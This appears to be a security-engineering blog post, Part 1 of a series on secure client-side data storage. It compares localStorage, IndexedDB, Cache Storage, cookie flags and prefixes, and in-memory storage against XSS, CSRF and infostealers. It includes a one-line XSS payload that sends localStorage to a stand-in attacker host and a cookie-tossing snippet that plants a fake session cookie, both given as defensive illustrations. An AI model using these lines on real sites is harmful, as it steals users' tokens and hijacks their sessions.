June 5, 2026
Secure Client-Side Architecture Series — Part 1
An Engineering Guide to Client-Side Data Storage
Tech with Arian
11 min read
An Engineering Guide to Client-Side Data Storage
Driven by the rise of Single Page Applications (SPAs) and Progressive Web Apps (PWAs), developers routinely store JSON Web Tokens (JWTs), session states, and cached API responses directly in the browser runtime. However, from a security engineering perspective, the browser is an inherently hostile environment.
We should always keep in mind and embrace the mindset that the browser is not a safe place to store our sensitive data, and in general, there is no 100% guarantee of security.
But most of the time, we are required to store different types of data in the browser for the sake of functionality or UX. So in this series, we are trying to fortify our client-side architecture and do our best to minimize threats to our client-side applications.
In this part of the series, we will dive deep into the web storage API options and deconstruct the real-world attacks that weaponize them. In the next parts, we will discuss the secure client-side architecture, create a data classification matrix, and talk about advanced topics in this area.
1. The Foundation: Same-Origin Policy (SOP) vs. Same-Site
Before looking at storage APIs, we must understand the security boundaries enforced by the browser engine. The two most misunderstood concepts are Same-Origin and Same-Site.
Same-Origin Policy (SOP)
An Origin is defined by a strict cryptographic tuple: (Protocol, Host, Port).
https://example.com:443andhttp://example.com:443are different origins (different protocols).https://example.comandhttps://api.example.comare different origins (different subdomains).
SOP dictates that scripts running on Origin A cannot read or write data belonging to Origin B. This is the bedrock of browser storage isolation. If you save data in localStorage on app.example.com, code executing on analytics.example.com cannot natively touch it.
Same-Site
Site is a broader definition based on the eTLD+1 (Effective Top-Level Domain plus one level). It groups subdomains together.
https://app.example.comandhttps://checkout.example.comare Same-Site (example.com), even though they are different origins.
Understanding this distinction is critical because while Web Storage (like localStorage) is strictly isolated by Origin, Cookie scoping rules, and cross-site protections (like the SameSite attribute) operate on the Site boundary.
2. Client-Side Attack Vectors: XSS, CSRF, and Infostealer Malwares
When we store sensitive data in the browser, we expose it to three primary threat vectors. Each impacts storage differently.
Cross-Site Scripting (XSS):
If an attacker successfully injects malicious JavaScript into your application (via unsanitized inputs, third-party dependencies, or unhandled DOM sinks), the attacker executes within the trusted origin and therefore inherits all privileges granted by SOP. It's like an attacker is sitting behind your browser. Because the malicious script executes inside your application's context, it inherits full access to every API exposed to that origin: localStorage, sessionStorage, IndexedDB, and non-HttpOnly cookies.
Cross-Site Request Forgery (CSRF):
CSRF does not read browser storage; it weaponizes it. When a user visits a malicious site, that site fires a cross-origin request to your vulnerable app. Basically, there's a JavaScript code on the attacker's website that sends a request to the main site on behalf of the victim visiting that site. Historically, browsers automatically appended all associated cookies to that request. The attacker can't see your session identifier, but they don't need to — the browser sends it for them, executing state-changing actions under the user's identity. For example, the attacker can send a change-password request on behalf of the victim without needing to know the victim's session cookie value.
The Modern Frontier: Infostealer Malware
Security articles often stop at XSS and CSRF, but modern enterprise threat models must account for Infostealers (such as RedLine, Racoon, or Lumma). These are lightweight pieces of malware running on the user's host operating system.
Infostealers do not exploit JavaScript or browser vulnerabilities. Instead, they bypass the active browser runtime entirely. They scan the user's local disk, target the SQLite databases where Chrome, Edge, and Firefox write persistent profiles, extract the encrypted contents, decrypt them using stolen OS-level DPAPI (Data Protection API) credentials, and exfiltrate them. If your data is written permanently to disk, an infostealer can harvest it.
3. Deep Dive: Browser Storage Options & Security Profiles
Let's dive deep into every browser storage mechanism and evaluate them against these threats.
A. Web Storage: LocalStorage & SessionStorage
Web Storage provides a simple, synchronous key-value pair API (String -> String). Both of the Web Storage mechanisms offer isolation per the Same Origin Policy, which means that one origin cannot access the Web Storage of another origin.
- **LocalStorage:** Persists indefinitely across browser sessions and tab closures or even closing of the browser itself, until explicitly deleted. Data stored on it is written to disk.
- **SessionStorage:** Bound tightly to the specific browser tab. If the tab is closed, the storage for that specific tab is wiped. It survives page refreshes but is not shared across multiple tabs of the same origin.
The Storage Vulnerabilities
Both are entirely transparent to JavaScript. If your app suffers an XSS vulnerability, an attacker can exfiltrate your entire token database with a single line of code:
fetch('<https://attacker.com/leak?data=>' + JSON.stringify(localStorage));fetch('<https://attacker.com/leak?data=>' + JSON.stringify(localStorage));Furthermore, because localStorage writes directly to disk, its contents remain completely vulnerable to Infostealer malware long after the user closes their browser.
- Important Point: Never store raw authentication tokens (JWTs), PII, or cryptographic private keys in Web Storage.
B. IndexedDB
IndexedDB is a powerful, asynchronous, transactional object-oriented database designed for significant amounts of structured data (including Files/Blobs).
The Storage Vulnerabilities
Like Web Storage, IndexedDB is scoped by Origin and is fully accessible to JavaScript. An XSS attacker can open your database, iterate through collections, and dump the payload. Because it is highly persistent, it is also highly vulnerable to disk-level Infostealers.
- The Web Crypto Exception: IndexedDB has one distinct advantage over Web Storage. It can store native cryptographic key objects generated by the Web Crypto API (Which we will examine thoroughly in the next parts). If you generate an asymmetric key pair with the flag
extractable: false, the browser engine will store the key in IndexedDB but will mathematically prevent JavaScript from ever reading the raw private key bytes. An XSS attacker can command the browser to sign a message using that key, but they cannot export the key to forge signatures on their own machine. So the scope of attack will remain on the victim's browser.
C. Cache Storage & Shared Storage
- **Cache Storage:** A network-request caching mechanism designed specifically for Service Workers to enable offline functionality in PWAs. It stores pairs of
RequestandResponseobjects. - **Shared Storage:** which is no longer recommended, and it's been removed from web standards, so we don't talk about it right now.
The Storage Vulnerabilities
Cache Storage is fully accessible to the main JavaScript thread via window.caches. If an XSS attacker gains control, they can inspect cached API responses. If your application caches highly sensitive financial or medical payloads for offline PWA use, an attacker can read those files effortlessly.
D. Cookies: The Definitive Breakdown of Flags & Prefixes
Unlike Web Storage and IndexedDB, HTTP Cookies were designed from day one to handle session state and security constraints. Cookies are unique because they allow developers to tell the browser engine to hide the data from the JavaScript runtime altogether.
To make a cookie safe against modern threats, you must deploy a layer of defensive flags and cryptographic prefixes.
The Crucial Flags & Attributes
HttpOnly: This is your primary defense against XSS token theft. When set, JavaScript (document.cookie) cannot read or modify the cookie. If an XSS attack occurs, the attacker cannot exfiltrate the token value via script.Secure: Forces the browser to only transmit the cookie over encrypted (TLS/HTTPS) connections, preventing network eavesdropping or MitM (Man-in-the-Middle) leakage.SameSite: Controls whether cookies are sent along with cross-site requests, acting as a built-in defense against CSRF.
SameSite=Strict: The cookie is never sent in cross-site requests (e.g., if a user clicks a link to your banking app from an external email, they will arrive unauthenticated).SameSite=Lax: The cookie is withheld on cross-site subrequests (like images or API fetches loaded on third-party sites) but is sent when a user navigates to your origin via a top-level link GET Request (the default browser behavior).A Top-Level Navigation means the URL in the browser's address bar actually changes to the new destination.SameSite=None: The cookie is sent along with the cross-site requests. Use only when cross-site cookie transmission is explicitly required and compensate with strong CSRF protections.
Cookie Prefixes: Hardening the Browser Engine
Even with flags, cookies are vulnerable to Domain Hijacking. If an attacker compromises a vulnerable HTTP subdomain (e.g., staging.example.com), they can write or overwrite cookies for your main application (app.example.com).
By the rules of Same-Site domains, a generic domain or a child subdomain can write cookies for its parent or sibling domains. An attacker controlling http://vulnerable-staging.example.com can execute this script:
// The attacker injects a malicious session cookie targeted at the main app
document.cookie = "SessionID=ATTACKER_FAKE_SESSION; domain=.example.com; path=/; Secure";// The attacker injects a malicious session cookie targeted at the main app
document.cookie = "SessionID=ATTACKER_FAKE_SESSION; domain=.example.com; path=/; Secure";When sending cookies back to a server, browsers do not send attributes like Domain or Path. The server just receives a raw header:
Cookie: SessionID=ATTACKER_FAKE_SESSION; SessionID=REAL_USER_SESSIONCookie: SessionID=ATTACKER_FAKE_SESSION; SessionID=REAL_USER_SESSIONThis attack is called Cookie Tossing. The browser standard specifies that the order can be unpredictable, but often the most specific or recently modified cookie is sent first. If the server application parses the header and picks up the attacker's fake token first, the user is now operating under a session controlled by the attacker (Session Fixation), allowing the attacker to intercept whatever actions or inputs the user performs next.
To stop this, modern browsers enforce Cookie Prefixes.
By naming your cookies with specific prefixes, you force the browser engine to validate their attributes before accepting them. If the attributes don't match the rules, the browser rejects the cookie outright.
__Host-: The gold standard. A cookie named __Host-SessionID will only be accepted if it meets these strict criteria:
- It must have the
Secureflag. - It must be sent from an HTTPS origin.
- It must not contain a
Domainattribute (making it strictly locked to the specific host that set it, protecting it from subdomain tampering). - It must have a
Path=/attribute.
__Secure-: A weaker alternative. It merely forces the cookie to have the Secure flag and to be set from an HTTPS origin, but it does not prevent subdomain overwrites.
__Http-: An anti-tampering alternative. A cookie named __Http-SessionID will only be accepted if it meets these strict criteria:
- It must have the
Secureflag. - It must be sent from an HTTPS origin.
- It must have the
HttpOnlyattribute set. This guarantees to the browser and server that the cookie was set strictly via an HTTP header and cannot be created, modified, or read by client-side JavaScript APIs (likedocument.cookieor the Cookie Store API).
__Host-Http-: The maximum security standard. A cookie named __Host-Http-SessionID will only be accepted if it meets the combined criteria of both the __Host- and __Http- specifications:
- It must have the
Secureflag. - It must be sent from an HTTPS origin.
- It must have the
HttpOnlyattribute set (blocking all JavaScript interaction). - It must not contain a
Domainattribute (strictly isolating it from subdomain tampering). - It must have a
Path=/attribute.
Note on Prefixes:_ Cookie prefixes rely entirely on the client's browser engine for validation. If a browser does not support a specific prefix, it will treat the prefix as a regular, meaningless string and accept the cookie anyway — without enforcing any of the additional security restrictions._
Legacy Browsers: If an old browser lacks prefix support entirely, all prefixed cookies will be accepted with standard, unhardened behaviors.
The Safari Exception: While standard prefixes like
__Secure-and__Host-enjoy universal support across modern browsers, the__Http-and__Host-Http-prefixes are not supported by WebKit (Safari).
The Storage Vulnerabilities
While cookies are the only native storage option capable of completely hiding sensitive data from JavaScript via the HttpOnly flag, they introduce distinct client-side vulnerabilities if configured incorrectly. Because the browser automatically appends cookies to every subsequent request targeting your domain, an unhardened session is heavily exposed to Cross-Site Request Forgery (CSRF). Furthermore, traditional cookies are vulnerable to subdomain hijacking and "cookie tossing" attacks. If an adversary compromises a secondary or insecure site sharing your root domain (such as http://vulnerable-staging.example.com), they can create a fake session cookie targeted at your primary application.
Beyond network threats, persistent cookies (those with a Max-Age or Expires attribute) face severe physical risks from host-level Infostealer malware. Just like localStorage and IndexedDB, persistent cookies are written directly to SQLite databases on the user's hard drive. Infostealers completely bypass browser sandboxes by copying these database files straight from the disk. Because the malware runs under the user's active OS account, it can effortlessly decrypt the tokens using system credentials (like DPAPI on Windows) and exfiltrate them. To prevent this, high-security apps should use volatile, session-scoped cookies that reside strictly in memory, while enforcing __Host- prefix to block subdomain tampering.
5. Volatile Storage: In-Memory & Workers
When developers want to protect data from host-level Infostealers, they turn to In-Memory Storage. In-memory storage greatly raises the difficulty for infostealers that primarily target browser profile databases. Because the data never touches the physical disk, it leaves no trace for file-scraping malware to extract. However, simply stating that data is stored "in memory" is architecturally vague. In a hostile browser environment, memory isolation exists on a spectrum depending on the specific execution sandbox you deploy:
1. The Global Runtime Scope (Unsafe Memory)
The most basic implementation involves declaring a global variable or storing data within an active application state manager (like a standard object or global window context).
- The Vulnerability: This provides zero isolation against injection. Because the memory resides in the main thread's global runtime scope, any script injected via an XSS attack can directly sweep the global context and read the variables to capture the secrets as they flow through memory.
2. JavaScript Closures (Private Memory)
A significantly stronger layer of in-memory security mimics private object methods by leveraging JavaScript closures.
- The Mechanism: By wrapping a sensitive token inside an enclosed, self-executing function, you tightly restrict access. The raw token string is never exposed to the global window context; it can only be accessed or utilized by invoking specific, hardcoded inner functions designed to execute network requests.
- The Catch: While closures successfully defend against basic, automated XSS script sweeps that look for exposed variables, they cannot stop an advanced attacker. If the script injection occurs early enough in the application lifecycle, an adversary can still compromise the global prototypes or intercept the function returns directly within the main execution thread. There are still mitigations for those attacks, but it leads to a very complicated development of client-side JavaScript code.
3. Web Workers (Isolated Process Memory)
Web Workers run JavaScript code in a background thread separate from the main execution thread of the JS frontend application.
- The Mechanism: Web Workers run in an entirely separate process thread with a completely distinct global scope (
WorkerGlobalScope) from the main DOM window. By spinning up a dedicated worker to handle authentication, the raw token is fetched, held, and used for API calls strictly inside this isolated thread. JavaScript running on the main application thread cannot physically access or read the worker's memory space. - The Residual Risk: Although an XSS attacker cannot steal the token bytes from the worker, they still control the main application thread. The attacker can abuse the browser's native postMessage system (
worker.postMessage()) to order the worker to make requests on their behalf. This protects the confidentiality of the token (preventing offline hijacking), but it turns the compromised main thread into a proxy for active session abuse.
Conclusion: No Magical Vaults in the Browser
If this part teaches us anything, it is that there is no singular "secure" bucket out of the box in a web browser. Every native storage option operates on a distinct spectrum of security versus functionality, and each comes with structural trade-offs:
- Web Storage (
localStorage/sessionStorage) offers a dead-simple API but leaves data entirely transparent to JavaScript injection and host-level Infostealers. - IndexedDB and Cache Storage provide exceptional asynchronous performance and offline capabilities for Progressive Web Apps (PWAs), but they share the exact same raw structural vulnerabilities unless supplemented by custom cryptographic isolation.
- HTTP Cookies stand unique as the only mechanism capable of hiding data completely from the JavaScript layer via the
HttpOnlyflag, yet their automated attachment rules make them the prime weapon for Cross-Site Request Forgery (CSRF) and cookie tossing if left unhardened. - Volatile In-Memory Systems — ranging from simple scopes to advanced process-isolated Web Workers — provide excellent protection against local disk-scraping malware, but they still struggle to isolate themselves from an active, compromised main execution thread that can abuse communication channels as an unauthenticated proxy.
Ultimately, secure client-side engineering means removing the illusion that the browser will protect your data. True security relies on matching the lifespan and sensitivity of your application data to the appropriate browser subsystem, minimizing what touches the disk, and designing defenses assuming the client environment is constantly under threat.
What's Next: Designing an Out-of-Reach Architecture
Now that we have completely mapped out the browser storage boundaries, analyzed the mechanics of client-side injection, and evaluated how malware operates on the host OS, a stark reality emerges: If JavaScript can touch a high-value authentication secret, that secret is inherently vulnerable.
So, how do we build high-stakes web applications, such as fintech or enterprise PWAs, without leaving our core identity mechanisms open to compromise?
In Part 2: The Modern Architecture — Out-of-Reach Security, we will transition from defining the problems to building the solutions. We will map out an enterprise-grade defense infrastructure, focusing heavily on:
- The Backend-for-Frontend (BFF) Pattern: How to pull raw authentication tokens (like Access JWTs and Refresh Tokens) completely out of the frontend JavaScript context, delegating session handling to a secure, server-side proxy layer.
- A Modern Data Classification Matrix: Establishing clear engineering rules on exactly which application states belong in-memory, what requires application-layer encryption, and what can reside safely in persistent local caches.
- Bulletproof Anti-CSRF Infrastructures: Going beyond basic browser behaviors to implement secondary custom header checks and cryptographically signed anti-forgery tokens to protect your backend state transitions.
- Hardware-Bound Cryptography: Leveraging the native Web Crypto API to generate non-extractable, runtime-bound cryptographic key pairs directly inside IndexedDB, limiting the blast radius of an active injection attack to the host browser runtime.
Stay tuned for the next part as we assemble these pieces into the ultimate, modern security architecture blueprint.